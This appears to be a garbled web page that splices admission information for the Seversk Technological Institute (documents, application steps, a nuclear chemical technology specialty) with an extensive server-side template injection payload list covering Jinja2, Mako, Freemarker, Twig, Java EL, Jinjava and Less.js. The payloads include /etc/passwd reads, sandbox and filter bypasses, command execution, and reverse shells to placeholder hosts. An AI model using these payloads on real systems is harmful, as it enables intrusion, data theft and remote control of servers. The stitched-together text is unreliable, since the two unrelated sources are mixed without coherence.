Как поступить в сти?
Содержание:
- Java
- Jinja2
- Mako
- Lessjs
- Дорогие абитуриенты! Уважаемые родители!
- Freemarker
- Специальность: 18.05.02 «Химическая технология материалов современной энергетики» Специализация: «Химическая технология материалов ядерного топливного цикла»
- Документы необходимые для поступления:
- Twig
- Expression Language EL
- Jinjava
Java
Java — Basic injection
${7*7} ${{7*7}} ${class.getClassLoader()} ${class.getResource("").getPath()} ${class.getResource("../../../../../index.htm").getContent()}
Java — Retrieve /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
Jinja2
Jinja2 — Basic injection
{{4*4}}] {{7*'7'}} would result in 7777777 {{config.items()}}
Jinja2 is used by Python Web Frameworks such as Django or Flask.
The above injections have been tested on a Flask application.
Jinja2 — Template format
{% extends "layout.html" %} {% block body %} <ul> {% for user in users %} <li><a href="` user`.`url `">{{ user.username }}<a><li> {% endfor %} <ul> {% endblock %}
Jinja2 — Debug Statement
If the Debug Extension is enabled, a tag will be available to dump the current context as well as the available filters and tests. This is useful to see what’s available to use in the template without setting up a debugger.
<pre>{% debug %}<pre>
Jinja2 — Dump all used classes
{{ [].class.base.subclasses() }} {{''.class.mro().subclasses()}} {{ ''.__class__.__mro__.__subclasses__() }}
Jinja2 — Read remote file
# ''.__class__.__mro__.__subclasses__() = File class {{ ''.__class__.__mro__.__subclasses__()('/etc/passwd').read() }} {{ config.items().__class__.__mro__.__subclasses__()("/tmp/flag").read() }} # https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398 {{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
Jinja2 — Write into remote file
{{ ''.__class__.__mro__.__subclasses__()('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
Jinja2 — Remote Code Execution
Listen for connection
nc -lnvp 8000
Exploit the SSTI by calling os.popen().read()
These payloads are context-free, and do not require anything, except being in a jinja2 Template object:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
We can use these shorter payloads (this is the shorter payloads known yet):
{{ cycler.__init__.__globals__.os.popen('id').read() }} {{ joiner.__init__.__globals__.os.popen('id').read() }} {{ namespace.__init__.__globals__.os.popen('id').read() }}
Exploit the SSTI by calling subprocess.Popen
️ the number 396 will vary depending of the application.
{{''.__class__.mro().__subclasses__()('cat flag.txt',shell=True,stdout=-1).communicate()[].strip()}} {{config.__class__.__init__.__globals__.popen('ls').read()}}
Exploit the SSTI by calling Popen without guessing the offset
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
Exploit the SSTI by writing an evil config file.
# evil config {{ ''.__class__.__mro__.__subclasses__()('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # load the evil config {{ config.from_pyfile('/tmp/evilconfig.cfg') }} # connect to evil host {{ config('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
Jinja2 — Filter bypass
request.__class__ request
Bypassing
http://localhost:5000?exploit={{request|attr(|join)}}&class=class&usc=_ {{request|attr(|join)}} {{request|attr(|join)}} {{request|attr(|join)}} {{request|attr("__class__")}} {{request.__class__}}
Bypassing and
http://localhost:5000?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_ or http://localhost:5000?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
Bypassing
http://localhost:5000?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
Mako
<% import os x=os.popen('id').read() %> ${x}
Direct access to os from TemplateNamespace:
Any of these payloads allows direct access to the module
${self.module.cache.util.os.system("id")} ${self.module.runtime.util.os.system("id")} ${self.template.module.cache.util.os.system("id")} ${self.module.cache.compat.inspect.os.system("id")} ${self.__init__.__globals__.os.system('id')} ${self.template.module.runtime.util.os.system("id")} ${self.module.filters.compat.inspect.os.system("id")} ${self.module.runtime.compat.inspect.os.system("id")} ${self.module.runtime.exceptions.util.os.system("id")} ${self.template.__init__.__globals__.system('id')} ${self.module.cache.util.compat.inspect.os.system("id")} ${self.module.runtime.util.compat.inspect.os.system("id")} ${self.template._mmarker.module.cache.util.os.system("id")} ${self.template.module.cache.compat.inspect.os.system("id")} ${self.module.cache.compat.inspect.linecache.os.system("id")} ${self.template._mmarker.module.runtime.util.os.system("id")} ${self.attr._NSAttr__parent.module.cache.util.os.system("id")} ${self.template.module.filters.compat.inspect.os.system("id")} ${self.template.module.runtime.compat.inspect.os.system("id")} ${self.module.filters.compat.inspect.linecache.os.system("id")} ${self.module.runtime.compat.inspect.linecache.os.system("id")} ${self.template.module.runtime.exceptions.util.os.system("id")} ${self.attr._NSAttr__parent.module.runtime.util.os.system("id")} ${self.context._with_template.module.cache.util.os.system("id")} ${self.module.runtime.exceptions.compat.inspect.os.system("id")} ${self.template.module.cache.util.compat.inspect.os.system("id")} ${self.context._with_template.module.runtime.util.os.system("id")} ${self.module.cache.util.compat.inspect.linecache.os.system("id")} ${self.template.module.runtime.util.compat.inspect.os.system("id")} ${self.module.runtime.util.compat.inspect.linecache.os.system("id")} ${self.module.runtime.exceptions.traceback.linecache.os.system("id")} ${self.module.runtime.exceptions.util.compat.inspect.os.system("id")} ${self.template._mmarker.module.cache.compat.inspect.os.system("id")} ${self.template.module.cache.compat.inspect.linecache.os.system("id")} ${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")} ${self.template._mmarker.module.filters.compat.inspect.os.system("id")} ${self.template._mmarker.module.runtime.compat.inspect.os.system("id")} ${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")} ${self.template._mmarker.module.runtime.exceptions.util.os.system("id")} ${self.template.module.filters.compat.inspect.linecache.os.system("id")} ${self.template.module.runtime.compat.inspect.linecache.os.system("id")} ${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")} ${self.context._with_template._mmarker.module.cache.util.os.system("id")} ${self.template.module.runtime.exceptions.compat.inspect.os.system("id")} ${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")} ${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")} ${self.context._with_template.module.cache.compat.inspect.os.system("id")} ${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")} ${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")} ${self.context._with_template._mmarker.module.runtime.util.os.system("id")} ${self.context._with_template.module.filters.compat.inspect.os.system("id")} ${self.context._with_template.module.runtime.compat.inspect.os.system("id")} ${self.context._with_template.module.runtime.exceptions.util.os.system("id")} ${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}
PoC :
>>> print(Template("${self.module.cache.util.os}").render()) <module 'os' from '/usr/local/lib/python3.10/os.py'>
Lessjs
Plugins
Lessjs plugins can be remotely included and are composed of Javascript which gets executed when the Less is transpiled.
// example local plugin usage @plugin "plugin-2.7.js";
or
// example remote plugin usage @plugin "http://example.com/plugin-2.7.js"
version 2 example RCE plugin:
functions.add('cmd', function(val) { return `"${global.process.mainModule.require('child_process').execSync(val.value)}"`; });
version 3 and above example RCE plugin
//Vulnerable plugin (3.13.1) registerPlugin({ install: function(less, pluginManager, functions) { functions.add('cmd', function(val) { return global.process.mainModule.require('child_process').execSync(val.value).toString(); }); } })
Дорогие абитуриенты! Уважаемые родители!
Документы на все формы обучения принимаются с 15 июня 2022 года, тел. (3823) 780-131, 780-132.
Для подачи заявления необходимо зарегистрироваться в информационной системе https://org.mephi.ru. Согласие на зачисление
Этапы поступления
1) Ознакомьтесь с Правилами приема на обучение по образовательным программам высшего образования — программам бакалавриата и специалитета на 2022/2023 учебный год. Это поможет вам сэкономить время и избежать ошибок при подаче заявления и необходимых документов. https://admission.mephi.ru/content/public/uploads/documents/mephi_rules_2022.pdf
2) Выберите направление подготовки\специальность Специальности и направления Это поможет определить свои приоритеты при поступлении.
3) Запомните сроки проведения приёмной кампании. Это поможет своевременно подать документы и отслеживать ход приемной кампании.
4) Выберите способ подачи документов:
1. Представляются в СТИ НИЯУ МИФИ лично поступающим (636036, Сибирский федеральный округ, Томская область, г. Северск, пр. Коммунистический, 65)
2. Направляются через операторов почтовой связи (Документы направляются поступающим по почте почтовым отправлением с уведомлением о вручении и описью вложения по адресу: 636036, Томская обл., г. Северск, проспект Коммунистический, дом 65 Северский технологический институт НИЯУ МИФИ (СТИ НИЯУ МИФИ), приемная комиссия)
3. Направляются в СТИ НИЯУ МИФИ в электронной форме посредством электронной информационной системы НИЯУ МИФИ (https://org.mephi.ru)
5) Наблюдайте за ходом приёмной кампании. Отслеживайте количество поступающих в рейтинговых списках. https://org.mephi.ru/pupil-rating/index/osp/7 Это поможет вам быстро сориентироваться в сложившейся конкурсной ситуации.
Freemarker
Freemarker — Read File
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_the_file').toURL().openStream().readAllBytes()?join(" ")} Convert the returned bytes to ASCII
Freemarker — Code execution
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} ${ ex('id')} ${"freemarker.template.utility.Execute"?new()("id")}
Freemarker — Sandbox bypass
️ only works on Freemarker versions below 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader> <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")> <#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)> <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")> ${dwf.newInstance(ec,null)("id")}
Специальность: 18.05.02 «Химическая технология материалов современной энергетики» Специализация: «Химическая технология материалов ядерного топливного цикла»
Квалификация |
Форма обучения |
Срок обучения |
Количество бюджетных мест |
Вступительные испытания в форме ЕГЭ (тестирования) |
инженер |
очная |
5,5 лет |
25 |
Математика (профильный), Русский язык, Химия |
Образовательный стандарт в формате pdf (подробнее).
Химическая и ядерно-химическая технология относятся к числу приоритетных направлений развития науки технологий и техники Российской Федерации и по темпам своего развития намного опережают другие отрасли.
Для работы на всех отраслевых предприятиях необходимы инженеры-химики, специализирующиеся в области химической и радиохимической технологий, разбирающиеся в методах и процессах переработки природного сырья и отработавшего ядерного топлива.
Для организации учебного процесса на кафедре «Химия и технология материалов современной энергетики» СТИ НИЯУ МИФИ был создан коллектив преподавателей, имеющих большой опыт научной и практической деятельности в области химии, радиохимии, радиохимической технологии и радиоэкологии. В учебном процессе участвуют не только штатные преподаватели, но и высококвалифицированные специалисты Сибирского химического комбината. Некоторые занятия проводятся по сетевой форме обучения.
Обучение включает специальные дисциплины, связанные с будущей профессией, которые проходят в современных учебных и учебно-исследовательских лабораториях.
Аннотации рабочих программ в формате pdf.
Документы необходимые для поступления:
- документ об образовании;
- документ, удостоверяющий личность поступающего (паспорт);
- ИНН, СНИЛС;
- фотографии 6 шт 3х4; (абитуриенты, подающие документы в г. Северске, могут сфотографироваться в приемной комиссии СТИ)
- документы, дающие права на льготы, установленные законодательством РФ (для лиц, претендующих на указанные льготы);
- справка о прохождении медицинского осмотра (на специальность 14.05.04 Электроника и автоматика физических установок и направления подготовки; 14.04.02 Ядерные физика и технологии (бакалавриат, магистратура));
- документы, подтверждающие индивидуальные достижения (по усмотрению поступающего).
Twig
Twig — Template format
$output = $twig > render ( 'Dear' . $_GET, array("first_name" => $user.first_name) ); $output = $twig > render ( "Dear {first_name}", array("first_name" => $user.first_name) );
Twig — Code execution
{{self}} {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} {{|filter('system')}} {{['cat\x20/etc/passwd']|filter('system')}} {{['cat$IFS/etc/passwd']|filter('system')}}
POST subscribe?=cat+/etcpasswd HTTP1.1 email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
Expression Language EL
Expression Language EL — One-Liner injections not including code execution
// DNS Lookup ${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","xxxxxxxxxxxxxx.burpcollaborator.net")} // JVM System Property Lookup (ex: java.class.path) ${"".getClass().forName("java.lang.System").getDeclaredMethod("getProperty","".getClass()).invoke("","java.class.path")}
Expression Language EL — Code Execution
// Common RCE payloads ''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRINGARRAY>) ''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors().newInstance(<COMMAND ARRAYLIST>).start() // Method using Runtime #{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[])} #{session.getAttribute("rtc").setAccessible(true)} #{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")} // Method using processbuilder ${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())} ${request.getAttribute("c").add("cmd.exe")} ${request.getAttribute("c").add("/k")} ${request.getAttribute("c").add("ping x.x.x.x")} ${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[].newInstance(request.getAttribute("c")).start())} ${request.getAttribute("a")} // Method using Reflection & Invoke ${"".getClass().forName("java.lang.Runtime").getMethods().invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")} // Method using ScriptEngineManager one-liner ${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))} // Method using ScriptEngineManager ${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\"))}
Jinjava
Jinjava — Basic injection
{{'a'.toUpperCase()}} would result in 'A' {{ request }} would return a request object like com..context.TemplateContextRequest@23548206
Jinjava is an open source project developed by Hubspot, available at https://github.com/HubSpot/jinjava/
Jinjava — Command execution
Fixed by https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}